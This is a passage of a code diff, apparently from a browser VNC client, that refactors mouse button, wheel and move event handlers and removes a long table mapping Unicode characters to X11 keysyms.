+ // devicePixelRatio brings us a bit closer but is not optimal.
+ if (d < 20 * window.devicePixelRatio) {
+ pos = this._lastTouchPos;
+ }
+ }
+ this._doubleClickTimer = setTimeout(this._resetDoubleClickTimer.bind(this), 500);
+ }
+ bmask = this._touchButton;
+ // If bmask is set
+ } else if (evt.which) {
+ /* everything except IE */
+ bmask = 1 << evt.button;
+ } else {
+ /* IE including 9 */
+ bmask = (evt.button & 0x1) + // Left
+ (evt.button & 0x2) * 2 + // Right
+ (evt.button & 0x4) / 2; // Middle
+ }
-return that; // Return the public API interface
+ if (this._onMouseButton) {
+ Util.Debug("onMouseButton " + (down ? "down" : "up") +
+ ", x: " + pos.x + ", y: " + pos.y + ", bmask: " + bmask);
+ this._onMouseButton(pos.x, pos.y, down, bmask);
+ }
+ Util.stopEvent(e);
+ return false;
+ },
-} // End of Mouse()
+ _handleMouseDown: function (e) {
+ this._captureMouse();
+ this._handleMouseButton(e, 1);
+ },
+
+ _handleMouseUp: function (e) {
+ if (!this._mouseCaptured) { return; }
+
+ this._handleMouseButton(e, 0);
+ this._releaseMouse();
+ },
+
+ _handleMouseWheel: function (e) {
+ if (!this._focused) { return true; }
+
+ if (this._notify) {
+ this._notify(e);
+ }
+
+ var evt = (e ? e : window.event);
+ var pos = Util.getEventPosition(e, this._target, this._scale);
+ var wheelData = evt.detail ? evt.detail * -1 : evt.wheelDelta / 40;
+ var bmask;
+ if (wheelData > 0) {
+ bmask = 1 << 3;
+ } else {
+ bmask = 1 << 4;
+ }
+
+ if (this._onMouseButton) {
+ this._onMouseButton(pos.x, pos.y, 1, bmask);
+ this._onMouseButton(pos.x, pos.y, 0, bmask);
+ }
+ Util.stopEvent(e);
+ return false;
+ },
+
+ _handleMouseMove: function (e) {
+ if (! this._focused) { return true; }
+
+ if (this._notify) {
+ this._notify(e);
+ }
+
+ var evt = (e ? e : window.event);
+ var pos = Util.getEventPosition(e, this._target, this._scale);
+ if (this._onMouseMove) {
+ this._onMouseMove(pos.x, pos.y);
+ }
+ Util.stopEvent(e);
+ return false;
+ },
+
+ _handleMouseDisable: function (e) {
+ if (!this._focused) { return true; }
+
+ var evt = (e ? e : window.event);
+ var pos = Util.getEventPosition(e, this._target, this._scale);
+
+ /* Stop propagation if inside canvas area */
+ if ((pos.realx >= 0) && (pos.realy >= 0) &&
+ (pos.realx < this._target.offsetWidth) &&
+ (pos.realy < this._target.offsetHeight)) {
+ //Util.Debug("mouse event disabled");
+ Util.stopEvent(e);
+ return false;
+ }
+
+ return true;
+ },
-/*
- * Browser keypress to X11 keysym for Unicode characters > U+00FF
- */
-unicodeTable = {
- 0x0104 : 0x01a1,
- 0x02D8 : 0x01a2,
- 0x0141 : 0x01a3,
- 0x013D : 0x01a5,
- 0x015A : 0x01a6,
- 0x0160 : 0x01a9,
- 0x015E : 0x01aa,
- 0x0164 : 0x01ab,
- 0x0179 : 0x01ac,
- 0x017D : 0x01ae,
- 0x017B : 0x01af,
- 0x0105 : 0x01b1,
- 0x02DB : 0x01b2,
- 0x0142 : 0x01b3,
- 0x013E : 0x01b5,
- 0x015B : 0x01b6,
- 0x02C7 : 0x01b7,
- 0x0161 : 0x01b9,
- 0x015F : 0x01ba,
- 0x0165 : 0x01bb,
- 0x017A : 0x01bc,
- 0x02DD : 0x01bd,
- 0x017E : 0x01be,
- 0x017C : 0x01bf,
- 0x0154 : 0x01c0,
- 0x0102 : 0x01c3,
- 0x0139 : 0x01c5,
- 0x0106 : 0x01c6,
- 0x010C : 0x01c8,
- 0x0118 : 0x01ca,
- 0x011A : 0x01cc,
- 0x010E : 0x01cf,
- 0x0110 : 0x01d0,
- 0x0143 : 0x01d1,
- 0x0147 : 0x01d2,
- 0x0150 : 0x01d5,
- 0x0158 : 0x01d8,
- 0x016E : 0x01d9,
- 0x0170 : 0x01db,
- 0x0162 : 0x01de,
- 0x0155 : 0x01e0,
- 0x0103 : 0x01e3,
- 0x013A : 0x01e5,
- 0x0107 : 0x01e6,
- 0x010D : 0x01e8,
- 0x0119 : 0x01ea,
- 0x011B : 0x01ec,
- 0x010F : 0x01ef,
- 0x0111 : 0x01f0,
- 0x0144 : 0x01f1,
- 0x0148 : 0x01f2,
- 0x0151 : 0x01f5,
- 0x0171 : 0x01fb,
- 0x0159 : 0x01f8,
- 0x016F : 0x01f9,
- 0x0163 : 0x01fe,
- 0x02D9 : 0x01ff,
- 0x0126 : 0x02a1,
- 0x0124 : 0x02a6,
- 0x0130 : 0x02a9,
- 0x011E : 0x02ab,
- 0x0134 : 0x02ac,
- 0x0127 : 0x02b1,
- 0x0125 : 0x02b6,
- 0x0131 : 0x02b9,
- 0x011F : 0x02bb,
- 0x0135 : 0x02bc,
- 0x010A : 0x02c5,
- 0x0108 : 0x02c6,
- 0x0120 : 0x02d5,
- 0x011C : 0x02d8,
- 0x016C : 0x02dd,
- 0x015C : 0x02de,
- 0x010B : 0x02e5,
- 0x0109 : 0x02e6,
- 0x0121 : 0x02f5,
- 0x011D : 0x02f8,
- 0x016D : 0x02fd,
- 0x015D : 0x02fe,
- 0x0138 : 0x03a2,
- 0x0156 : 0x03a3,
- 0x0128 : 0x03a5,
- 0x013B : 0x03a6,
- 0x0112 : 0x03aa,
- 0x0122 : 0x03ab,
- 0x0166 : 0x03ac,
- 0x0157 : 0x03b3,
- 0x0129 : 0x03b5,
- 0x013C : 0x03b6,
- 0x0113 : 0x03ba,
- 0x0123 : 0x03bb,
- 0x0167 : 0x03bc,
- 0x014A : 0x03bd,
- 0x014B : 0x03bf,
- 0x0100 : 0x03c0,
- 0x012E : 0x03c7,
- 0x0116 : 0x03cc,
- 0x012A : 0x03cf,
- 0x0145 : 0x03d1,
- 0x014C : 0x03d2,
- 0x0136 : 0x03d3,
- 0x0172 : 0x03d9,
- 0x0168 : 0x03dd,
- 0x016A : 0x03de,
- 0x0101 : 0x03e0,
- 0x012F : 0x03e7,
- 0x0117 : 0x03ec,
- 0x012B : 0x03ef,
- 0x0146 : 0x03f1,
- 0x014D : 0x03f2,
- 0x0137 : 0x03f3,
- 0x0173 : 0x03f9,
- 0x0169 : 0x03fd,
- 0x016B : 0x03fe,
- 0x1E02 : 0x1001e02,
- 0x1E03 : 0x1001e03,
- 0x1E0A : 0x1001e0a,
- 0x1E80 : 0x1001e80,
- 0x1E82 : 0x1001e82,
- 0x1E0B : 0x1001e0b,
- 0x1EF2 : 0x1001ef2,
- 0x1E1E : 0x1001e1e,
- 0x1E1F : 0x1001e1f,
- 0x1E40 : 0x1001e40,
- 0x1E41 : 0x1001e41,
- 0x1E56 : 0x1001e56,
- 0x1E81 : 0x1001e81,
- 0x1E57 : 0x1001e57,
- 0x1E83 : 0x1001e83,
- 0x1E60 : 0x1001e60,
- 0x1EF3 : 0x1001ef3,
- 0x1E84 : 0x1001e84,
- 0x1E85 : 0x1001e85,
- 0x1E61 : 0x1001e61,
- 0x0174 : 0x1000174,
- 0x1E6A : 0x1001e6a,
- 0x0176 : 0x1000176,
- 0x0175 : 0x1000175,
- 0x1E6B : 0x1001e6b,
- 0x0177 : 0x1000177,
- 0x0152 : 0x13bc,
- 0x0153 : 0x13bd,
- 0x0178 : 0x13be,
- 0x203E : 0x047e,
- 0x3002 : 0x04a1,
- 0x300C : 0x04a2,
- 0x300D : 0x04a3,
- 0x3001 : 0x04a4,
- 0x30FB : 0x04a5,
- 0x30F2 : 0x04a6,
- 0x30A1 : 0x04a7,
- 0x30A3 : 0x04a8,
- 0x30A5 : 0x04a9,
- 0x30A7 : 0x04aa,
- 0x30A9 : 0x04ab,
- 0x30E3 : 0x04ac,
- 0x30E5 : 0x04ad,
- 0x30E7 : 0x04ae,
- 0x30C3 : 0x04af,
- 0x30FC : 0x04b0,
- 0x30A2 : 0x04b1,
- 0x30A4 : 0x04b2,
- 0x30A6 : 0x04b3,
- 0x30A8 : 0x04b4,
- 0x30AA : 0x04b5,
- 0x30AB : 0x04b6,
- 0x30AD : 0x04b7,
- 0x30AF : 0x04b8,
- 0x30B1 : 0x04b9,
- 0x30B3 : 0x04ba,
- 0x30B5 : 0x04bb,
- 0x30B7 : 0x04bc,
- 0x30B9 : 0x04bd,
- 0x30BB : 0x04be,
- 0x30BD : 0x04bf,
- 0x30BF : 0x04c0,
- 0x30C1 : 0x04c1,
- 0x30C4 : 0x04c2,
- 0x30C6 : 0x04c3,
- 0x30C8 : 0x04c4,
- 0x30CA : 0x04c5,
- 0x30CB : 0x04c6,
- 0x30CC : 0x04c7,
- 0x30CD : 0x04c8,
- 0x30CE : 0x04c9,
- 0x30CF : 0x04ca,
- 0x30D2 : 0x04cb,
- 0x30D5 : 0x04cc,
- 0x30D8 : 0x04cd,
- 0x30DB : 0x04ce,
- 0x30DE : 0x04cf,
- 0x30DF : 0x04d0,
- 0x30E0 : 0x04d1,
- 0x30E1 : 0x04d2,
- 0x30E2 : 0x04d3,
- 0x30E4 : 0x04d4,
- 0x30E6 : 0x04d5,
- 0x30E8 : 0x04d6,
- 0x30E9 : 0x04d7,
- 0x30EA : 0x04d8,
- 0x30EB : 0x04d9,
- 0x30EC : 0x04da,
- 0x30ED : 0x04db,
- 0x30EF : 0x04dc,
- 0x30F3 : 0x04dd,
- 0x309B : 0x04de,
- 0x309C : 0x04df,
- 0x06F0 : 0x10006f0,
- 0x06F1 : 0x10006f1,
- 0x06F2 : 0x10006f2,
- 0x06F3 : 0x10006f3,
- 0x06F4 : 0x10006f4,
- 0x06F5 : 0x10006f5,
- 0x06F6 : 0x10006f6,
- 0x06F7 : 0x10006f7,
- 0x06F8 : 0x10006f8,
- 0x06F9 : 0x10006f9,
- 0x066A : 0x100066a,
- 0x0670 : 0x1000670,
- 0x0679 : 0x1000679,
- 0x067E : 0x100067e,
- 0x0686 : 0x1000686,
- 0x0688 : 0x1000688,
- 0x0691 : 0x1000691,
- 0x060C : 0x05ac,
- 0x06D4 : 0x10006d4,
- 0x0660 : 0x1000660,
- 0x0661 : 0x1000661,
- 0x0662 : 0x1000662,
- 0x0663 : 0x1000663,
- 0x0664 : 0x1000664,
- 0x0665 : 0x1000665,
- 0x0666 : 0x1000666,
- 0x0667 : 0x1000667,
- 0x0668 : 0x1000668,
- 0x0669 : 0x1000669,
- 0x061B : 0x05bb,
- 0x061F : 0x05bf,
- 0x0621 : 0x05c1,
- 0x0622 : 0x05c2,
- 0x0623 : 0x05c3,
- 0x0624 : 0x05c4,
- 0x0625 : 0x05c5,
- 0x0626 : 0x05c6,
- 0x0627 : 0x05c7,
- 0x0628 : 0x05c8,
- 0x0629 : 0x05c9,
- 0x062A : 0x05ca,
- 0x062B : 0x05cb,
- 0x062C : 0x05cc,
- 0x062D : 0x05cd,
- 0x062E : 0x05ce,
- 0x062F : 0x05cf,
- 0x0630 : 0x05d0,
- 0x0631 : 0x05d1,
- 0x0632 : 0x05d2,
- 0x0633 : 0x05d3,
- 0x0634 : 0x05d4,
- 0x0635 : 0x05d5,
- 0x0636 : 0x05d6,
- 0x0637 : 0x05d7,
- 0x0638 : 0x05d8,
- 0x0639 : 0x05d9,
- 0x063A : 0x05da,
- 0x0640 : 0x05e0,
- 0x0641 : 0x05e1,
- 0x0642 : 0x05e2,
- 0x0643 : 0x05e3,
- 0x0644 : 0x05e4,
- 0x0645 : 0x05e5,
- 0x0646 : 0x05e6,
- 0x0647 : 0x05e7,
- 0x0648 : 0x05e8,
- 0x0649 : 0x05e9,
- 0x064A : 0x05ea,
- 0x064B : 0x05eb,
- 0x064C : 0x05ec,
- 0x064D : 0x05ed,
- 0x064E : 0x05ee,
- 0x064F : 0x05ef,
- 0x0650 : 0x05f0,
- 0x0651 : 0x05f1,
- 0x0652 : 0x05f2,
- 0x0653 : 0x1000653,
- 0x0654 : 0x1000654,
- 0x0655 : 0x1000655,
- 0x0698 : 0x1000698,
- 0x06A4 : 0x10006a4,
- 0x06A9 : 0x10006a9,
- 0x06AF : 0x10006af,
- 0x06BA : 0x10006ba,
- 0x06BE : 0x10006be,
- 0x06CC : 0x10006cc,
- 0x06D2 : 0x10006d2,
- 0x06C1 : 0x10006c1,
- 0x0492 : 0x1000492,
- 0x0493 : 0x1000493,
- 0x0496 : 0x1000496,
- 0x0497 : 0x1000497,
- 0x049A : 0x100049a,
- 0x049B : 0x100049b,
- 0x049C : 0x100049c,
- 0x049D : 0x100049d,
- 0x04A2 : 0x10004a2,
- 0x04A3 : 0x10004a3,
- 0x04AE : 0x10004ae,
- 0x04AF : 0x10004af,
- 0x04B0 : 0x10004b0,
- 0x04B1 : 0x10004b1,
- 0x04B2 : 0x10004b2,
- 0x04B3 : 0x10004b3,
- 0x04B6 : 0x10004b6,
- 0x04B7 : 0x10004b7,
- 0x04B8 : 0x10004b8,
- 0x04B9 : 0x10004b9,
- 0x04BA : 0x10004ba,
- 0x04BB : 0x10004bb,
- 0x04D8 : 0x10004d8,
- 0x04D9 : 0x10004d9,
- 0x04E2 : 0x10004e2,
- 0x04E3 : 0x10004e3,
- 0x04E8 : 0x10004e8,
- 0x04E9 : 0x10004e9,
- 0x04EE : 0x10004ee,
- 0x04EF : 0x10004ef,
- 0x0452 : 0x06a1,
- 0x0453 : 0x06a2,
- 0x0451 : 0x06a3,
- 0x0454 : 0x06a4,
- 0x0455 : 0x06a5,
- 0x0456 : 0x06a6,
- 0x0457 : 0x06a7,
- 0x0458 : 0x06a8,
- 0x0459 : 0x06a9,
- 0x045A : 0x06aa,
- 0x045B : 0x06ab,
- 0x045C : 0x06ac,
- 0x0491 : 0x06ad,
- 0x045E : 0x06ae,
- 0x045F : 0x06af,
- 0x2116 : 0x06b0,
- 0x0402 : 0x06b1,
- 0x0403 : 0x06b2,
- 0x0401 : 0x06b3,
- 0x0404 : 0x06b4,
- 0x0405 : 0x06b5,
- 0x0406 : 0x06b6,
- 0x0407 : 0x06b7,
- 0x0408 : 0x06b8,
- 0x0409 : 0x06b9,
- 0x040A : 0x06ba,
- 0x040B : 0x06bb,
- 0x040C : 0x06bc,
- 0x0490 : 0x06bd,
- 0x040E : 0x06be,
- 0x040F : 0x06bf,
- 0x044E : 0x06c0,
- 0x0430 : 0x06c1,
- 0x0431 : 0x06c2,
- 0x0446 : 0x06c3,
- 0x0434 : 0x06c4,
- 0x0435 : 0x06c5,
- 0x0444 : 0x06c6,
- 0x0433 : 0x06c7,
- 0x0445 : 0x06c8,
- 0x0438 : 0x06c9,
- 0x0439 : 0x06ca,
- 0x043A : 0x06cb,
- 0x043B : 0x06cc,
- 0x043C : 0x06cd,
- 0x043D : 0x06ce,
- 0x043E : 0x06cf,
- 0x043F : 0x06d0,
- 0x044F : 0x06d1,
- 0x0440 : 0x06d2,
- 0x0441 : 0x06d3,
- 0x0442 : 0x06d4,
- 0x0443 : 0x06d5,
- 0x0436 : 0x06d6,
- 0x0432 : 0x06d7,
- 0x044C : 0x06d8,
- 0x044B : 0x06d9,
- 0x0437 : 0x06da,
- 0x0448 : 0x06db,
- 0x044D : 0x06dc,
- 0x0449 : 0x06dd,
- 0x0447 : 0x06de,
- 0x044A : 0x06df,
- 0x042E : 0x06e0,
- 0x0410 : 0x06e1,
- 0x0411 : 0x06e2,
- 0x0426 : 0x06e3,
- 0x0414 : 0x06e4,
- 0x0415 : 0x06e5,
- 0x0424 : 0x06e6,
- 0x0413 : 0x06e7,
- 0x0425 : 0x06e8,
- 0x0418 : 0x06e9,
- 0x0419 : 0x06ea,
- 0x041A : 0x06eb,
- 0x041B : 0x06ec,
- 0x041C : 0x06ed,
- 0x041D : 0x06ee,
- 0x041E : 0x06ef,
- 0x041F : 0x06f0,
- 0x042F : 0x06f1,
- 0x0420 : 0x06f2,
- 0x0421 : 0x06f3,
- 0x0422 : 0x06f4,
- 0x0423 : 0x06f5,
- 0x0416 : 0x06f6,
- 0x0412 : 0x06f7,
- 0x042C : 0x06f8,
- 0x042B : 0x06f9,
- 0x0417 : 0x06fa,
- 0x0428 : 0x06fb,
- 0x042D : 0x06fc,
- 0x0429 : 0x06fd,
- 0x0427 : 0x06fe,
- 0x042A : 0x06ff,
- 0x0386 : 0x07a1,
- 0x0388 : 0x07a2,
- 0x0389 : 0x07a3,
- 0x038A : 0x07a4,
- 0x03AA : 0x07a5,
- 0x038C : 0x07a7,
- 0x038E : 0x07a8,
- 0x03AB : 0x07a9,
- 0x038F : 0x07ab,
- 0x0385 : 0x07ae,
- 0x2015 : 0x07af,
- 0x03AC : 0x07b1,
- 0x03AD : 0x07b2,
- 0x03AE : 0x07b3,
- 0x03AF : 0x07b4,
- 0x03CA : 0x07b5,
- 0x0390 : 0x07b6,
- 0x03CC : 0x07b7,
- 0x03CD : 0x07b8,
- 0x03CB : 0x07b9,
- 0x03B0 : 0x07ba,
- 0x03CE : 0x07bb,
- 0x0391 : 0x07c1,
- 0x0392 : 0x07c2,
- 0x0393 : 0x07c3,
- 0x0394 : 0x07c4,
- 0x0395 : 0x07c5,
- 0x0396 : 0x07c6,
- 0x0397 : 0x07c7,
- 0x0398 : 0x07c8,
- 0x0399 : 0x07c9,
- 0x039A : 0x07ca,
- 0x039B : 0x07cb,
- 0x039C : 0x07cc,
- 0x039D : 0x07cd,
- 0x039E : 0x07ce,
- 0x039F : 0x07cf,
- 0x03A0 : 0x07d0,
- 0x03A1 : 0x07d1,
- 0x03A3 : 0x07d2,
- 0x03A4 : 0x07d4,
- 0x03A5 : 0x07d5,
- 0x03A6 : 0x07d6,
- 0x03A7 : 0x07d7,
- 0x03A8 : 0x07d8,
- 0x03A9 : 0x07d9,
- 0x03B1 : 0x07e1,
- 0x03B2 : 0x07e2,
- 0x03B3 : 0x07e3,
- 0x03B4 : 0x07e4,
- 0x03B5 : 0x07e5,
- 0x03B6 : 0x07e6,
- 0x03B7 : 0x07e7,
- 0x03B8 : 0x07e8,
- 0x03B9 : 0x07e9,
- 0x03BA : 0x07ea,
- 0x03BB : 0x07eb,
- 0x03BC : 0x07ec,
- 0x03BD : 0x07ed,
- 0x03BE : 0x07ee,
- 0x03BF : 0x07ef,
- 0x03C0 : 0x07f0,
- 0x03C1 : 0x07f1,
- 0x03C3 : 0x07f2,
- 0x03C2 : 0x07f3,
- 0x03C4 : 0x07f4,
- 0x03C5 : 0x07f5,
- 0x03C6 : 0x07f6,
- 0x03C7 : 0x07f7,
- 0x03C8 : 0x07f8,
- 0x03C9 : 0x07f9,
- 0x23B7 : 0x08a1,
- 0x2320 : 0x08a4,
- 0x2321 : 0x08a5,
- 0x23A1 : 0x08a7,
- 0x23A3 : 0x08a8,
- 0x23A4 : 0x08a9,
- 0x23A6 : 0x08aa,
- 0x239B : 0x08ab,
- 0x239D : 0x08ac,
- 0x239E : 0x08ad,
- 0x23A0 : 0x08ae,
- 0x23A8 : 0x08af,
- 0x23AC : 0x08b0,
- 0x2264 : 0x08bc,
- 0x2260 : 0x08bd,
- 0x2265 : 0x08be,
- 0x222B : 0x08bf,
- 0x2234 : 0x08c0,
- 0x221D : 0x08c1,
- 0x221E : 0x08c2,
- 0x2207 : 0x08c5,
- 0x223C : 0x08c8,
- 0x2243 : 0x08c9,
- 0x21D4 : 0x08cd,
- 0x21D2 : 0x08ce,
- 0x2261 : 0x08cf,
- 0x221A : 0x08d6,
- 0x2282 : 0x08da,
- 0x2283 : 0x08db,
- 0x2229 : 0x08dc,
- 0x222A : 0x08dd,
- 0x2227 : 0x08de,
- 0x2228 : 0x08df,
- 0x2202 : 0x08ef,
- 0x0192 : 0x08f6,
- 0x2190 : 0x08fb,
- 0x2191 : 0x08fc,
- 0x2192 : 0x08fd,
- 0x2193 : 0x08fe,
- 0x25C6 : 0x09e0,
- 0x2592 : 0x09e1,
- 0x2409 : 0x09e2,
- 0x240C : 0x09e3,
- 0x240D : 0x09e4,
- 0x240A : 0x09e5,
- 0x2424 : 0x09e8,
- 0x240B : 0x09e9,
- 0x2518 : 0x09ea,
- 0x2510 : 0x09eb,
- 0x250C : 0x09ec,
- 0x2514 : 0x09ed,
- 0x253C : 0x09ee,
- 0x23BA : 0x09ef,
- 0x23BB : 0x09f0,
- 0x2500 : 0x09f1,
- 0x23BC : 0x09f2,
- 0x23BD : 0x09f3,
- 0x251C : 0x09f4,
- 0x2524 : 0x09f5,
- 0x2534 : 0x09f6,
- 0x252C : 0x09f7,
- 0x2502 : 0x09f8,
- 0x2003 : 0x0aa1,
- 0x2002 : 0x0aa2,
- 0x2004 : 0x0aa3,
- 0x2005 : 0x0aa4,
- 0x2007 : 0x0aa5,
- 0x2008 : 0x0aa6,
- 0x2009 : 0x0aa7,
- 0x200A : 0x0aa8,
- 0x2014 : 0x0aa9,
- 0x2013 : 0x0aaa,
- 0x2026 : 0x0aae,
- 0x2025 : 0x0aaf,
- 0x2153 : 0x0ab0,
- 0x2154 : 0x0ab1,
- 0x2155 : 0x0ab2,
- 0x2156 : 0x0ab3,
- 0x2157 : 0x0ab4,
- 0x2158 : 0x0ab5,
- 0x2159 : 0x0ab6,
- 0x215A : 0x0ab7,
- 0x2105 : 0x0ab8,
- 0x2012 : 0x0abb,
- 0x215B : 0x0ac3,
- 0x215C : 0x0ac4,
- 0x215D : 0x0ac5,
- 0x215E : 0x0ac6,
- 0x2122 : 0x0ac9,
- 0x2018 : 0x0ad0,
- 0x2019 : 0x0ad1,
- 0x201C : 0x0ad2,
- 0x201D : 0x0ad3,
- 0x211E : 0x0ad4,
- 0x2032 : 0x0ad6,
- 0x2033 : 0x0ad7,
- 0x271D : 0x0ad9,
- 0x2663 : 0x0aec,
- 0x2666 : 0x0aed,
- 0x2665 : 0x0aee,
- 0x2720 : 0x0af0,
- 0x2020 : 0x0af1,
- 0x2021 : 0x0af2,
- 0x2713 : 0x0af3,
- 0x2717 : 0x0af4,
- 0x266F : 0x0af5,
- 0x266D : 0x0af6,
- 0x2642 : 0x0af7,
- 0x2640 : 0x0af8,
- 0x260E : 0x0af9,
- 0x2315 : 0x0afa,
- 0x2117 : 0x0afb,
- 0x2038 : 0x0afc,
- 0x201A : 0x0afd,
- 0x201E : 0x0afe,
- 0x22A4 : 0x0bc2,
- 0x230A : 0x0bc4,
- 0x2218 : 0x0bca,
- 0x2395 : 0x0bcc,
- 0x22A5 : 0x0bce,
- 0x25CB : 0x0bcf,
- 0x2308 : 0x0bd3,
- 0x22A3 : 0x0bdc,
- 0x22A2 : 0x0bfc,
- 0x2017 : 0x0cdf,
- 0x05D0 : 0x0ce0,
- 0x05D1 : 0x0ce1,
- 0x05D2 : 0x0ce2,
- 0x05D3 : 0x0ce3,
- 0x05D4 : 0x0ce4,
- 0x05D5 : 0x0ce5,
- 0x05D6 : 0x0ce6,
- 0x05D7 : 0x0ce7,
- 0x05D8 : 0x0ce8,
- 0x05D9 : 0x0ce9,
- 0x05DA : 0x0cea,
- 0x05DB : 0x0ceb,
- 0x05DC : 0x0cec,
- 0x05DD : 0x0ced,
- 0x05DE : 0x0cee,
- 0x05DF : 0x0cef,
- 0x05E0 : 0x0cf0,
- 0x05E1 : 0x0cf1,
- 0x05E2 : 0x0cf2,
- 0x05E3 : 0x0cf3,
- 0x05E4 : 0x0cf4,
- 0x05E5 : 0x0cf5,
- 0x05E6 : 0x0cf6,
- 0x05E7 : 0x0cf7,
- 0x05E8 : 0x0cf8,
- 0x05E9 : 0x0cf9,
- 0x05EA : 0x0cfa,
- 0x0E01 : 0x0da1,
- 0x0E02 : 0x0da2,
- 0x0E03 : 0x0da3,
- 0x0E04 : 0x0da4,
- 0x0E05 : 0x0da5,
- 0x0E06 : 0x0da6,
- 0x0E07 : 0x0da7,
- 0x0E08 : 0x0da8,
- 0x0E09 : 0x0da9,
- 0x0E0A : 0x0daa,
- 0x0E0B : 0x0dab,
- 0x0E0C : 0x0dac,
- 0x0E0D : 0x0dad,
- 0x0E0E : 0x0dae,
- 0x0E0F : 0x0daf,
- 0x0E10 : 0x0db0,
- 0x0E11 : 0x0db1,
- 0x0E12 : 0x0db2,
- 0x0E13 : 0x0db3,
- 0x0E14 : 0x0db4,
- 0x0E15 : 0x0db5,
- 0x0E16 : 0x0db6,
- 0x0E17 : 0x0db7,
- 0x0E18 : 0x0db8,
- 0x0E19 : 0x0db9,
- 0x0E1A : 0x0dba,
- 0x0E1B : 0x0dbb,
- 0x0E1C : 0x0dbc,
- 0x0E1D : 0x0dbd,
- 0x0E1E : 0x0dbe,
- 0x0E1F : 0x0dbf,
- 0x0E20 : 0x0dc0,
- 0x0E21 : 0x0dc1,
- 0x0E22 : 0x0dc2,
- 0x0E23 : 0x0dc3,
- 0x0E24 : 0x0dc4,
- 0x0E25 : 0x0dc5,
- 0x0E26 : 0x0dc6,
- 0x0E27 : 0x0dc7,
- 0x0E28 : 0x0dc8,
- 0x0E29 : 0x0dc9,
- 0x0E2A : 0x0dca,
- 0x0E2B : 0x0dcb,
- 0x0E2C : 0x0dcc,
- 0x0E2D : 0x0dcd,
- 0x0E2E : 0x0dce,
- 0x0E2F : 0x0dcf,
- 0x0E30 : 0x0dd0,
- 0x0E31 : 0x0dd1,
- 0x0E32 : 0x0dd2,
- 0x0E33 : 0x0dd3,
- 0x0E34 : 0x0dd4,
- 0x0E35 : 0x0dd5,
- 0x0E36 : 0x0dd6,
- 0x0E37 : 0x0dd7,
- 0x0E38 : 0x0dd8,
- 0x0E39 : 0x0dd9,
- 0x0E3A : 0x0dda,
- 0x0E3F : 0x0ddf,
- 0x0E40 : 0x0de0,
- 0x0E41 : 0x0de1,
- 0x0E42 : 0x0de2,
- 0x0E43 : 0x0de3,
- 0x0E44 : 0x0de4,
- 0x0E45 : 0x0de5,
- 0x0E46 : 0x0de6,
- 0x0E47 : 0x0de7,
- 0x0E48 : 0x0de8,
- 0x0E49 : 0x0de9,
- 0x0E4A : 0x0dea,
- 0x0E4B : 0x0deb,
- 0x0E4C : 0x0dec,
- 0x0E4D : 0x0ded,
- 0x0E50 : 0x0df0,
- 0x0E51 : 0x0df1,
- 0x0E52 : 0x0df2,
- 0x0E53 : 0x0df3,
- 0x0E54 : 0x0df4,
- 0x0E55 : 0x0df5,
- 0x0E56 : 0x0df6,
- 0x0E57 : 0x0df7,
- 0x0E58 : 0x0df8,
- 0x0E59 : 0x0df9,
- 0x0587 : 0x1000587,
- 0x0589 : 0x1000589,
- 0x055D : 0x100055d,
- 0x058A : 0x100058a,
- 0x055C : 0x100055c,
- 0x055B : 0x100055b,
- 0x055E : 0x100055e,
- 0x0531 : 0x1000531,
- 0x0561 : 0x1000561,
- 0x0532 : 0x1000532,
- 0x0562 : 0x1000562,
- 0x0533 : 0x1000533,
- 0x0563 : 0x1000563,
- 0x0534 : 0x1000534,
- 0x0564 : 0x1000564,
- 0x0535 : 0x1000535,
- 0x0565 : 0x1000565,
- 0x0536 : 0x1000536,
- 0x0566 : 0x1000566,
- 0x0537 : 0x1000537,
- 0x0567 : 0x1000567,
- 0x0538 : 0x1000538,
- 0x0568 : 0x1000568,
- 0x0539 : 0x1000539,
- 0x0569 : 0x1000569,
- 0x053A : 0x100053a,
- 0x056A : 0x100056a,
- 0x053B : 0x100053b,
- 0x056B : 0x100056b,
- 0x053C : 0x100053c,
- 0x056C : 0x100056c,
- 0x053D : 0x100053d,
- 0x056D : 0x100056d,
- 0x053E : 0x100053e,
- 0x056E : 0x100056e,
- 0x053F : 0x100053f,
- 0x056F : 0x100056f,
- 0x0540 : 0x1000540,
- 0x0570 : 0x1000570,
- 0x0541 : 0x1000541,
- 0x0571 : 0x1000571,
- 0x0542 : 0x1000542,
- 0x0572 : 0x1000572,
- 0x0543 : 0x1000543,
- 0x0573 : 0x1000573,
- 0x0544 : 0x1000544,
- 0x0574 : 0x1000574,
- 0x0545 : 0x1000545,
- 0x0575 : 0x1000575,
- 0x0546 : 0x1000546,
- 0x0576 : 0x1000576,
- 0x0547 : 0x1000547,
- 0x0577 : 0x1000577,
- 0x0548 : 0x1000548,
- 0x0578 : 0x1000578,
- 0x0549 : 0x1000549,
- 0x0579 : 0x1000579,
- 0x054A : 0x100054a,
- 0x057A : 0x100057a,
- 0x054B : 0x100054b,
- 0x057B : 0x100057b,
- 0x054C : 0x100054c,
- 0x057C : 0x100057c,
- 0x054D : 0x100054d,
- 0x057D : 0x100057d,
- 0x054E : 0x100054e,
- 0x057E : 0x100057e,
- 0x054F : 0x100054f,
- 0x057F : 0x100057f,
- 0x0550 : 0x1000550,
- 0x0580 : 0x1000580,
- 0x0551 : 0x1000551,
- 0x0581 : 0x1000581,
- 0x0552 : 0x1000552,
- 0x0582 : 0x1000582,
- 0x0553 : 0x1000553,
- 0x0583 : 0x1000583,
- 0x0554 : 0x1000554,
- 0x0584 : 0x1000584,
- 0x0555 : 0x1000555,
- 0x0585 : 0x1000585,
- 0x0556 : 0x1000556,
- 0x0586 : 0x1000586,
- 0x055A : 0x100055a,
- 0x10D0 : 0x10010d0,
- 0x10D1 : 0x10010d1,
- 0x10D2 : 0x10010d2,
- 0x10D3 : 0x10010d3,
- 0x10D4 : 0x10010d4,
- 0x10D5 : 0x10010d5,
- 0x10D6 : 0x10010d6,
- 0x10D7 : 0x10010d7,
- 0x10D8 : 0x10010d8,
- 0x10D9 : 0x10010d9,
- 0x10DA : 0x10010da,
- 0x10DB : 0x10010db,
- 0x10DC : 0x10010dc,
- 0x10DD : 0x10010dd,
- 0x10DE : 0x10010de,
- 0x10DF : 0x10010df,
- 0x10E0 : 0x10010e0,
- 0x10E1 : 0x10010e1,
- 0x10E2 : 0x10010e2,
- 0x10E3 : 0x10010e3,
- 0x10E4 : 0x10010e4,
- 0x10E5 : 0x10010e5,
- 0x10E6 : 0x10010e6,
- 0x10E7 : 0x10010e7,
- 0x10E8 : 0x10010e8,
- 0x10E9 : 0x10010e9,
- 0x10EA : 0x10010ea,
- 0x10EB : 0x10010eb,
- 0x10EC : 0x10010ec,
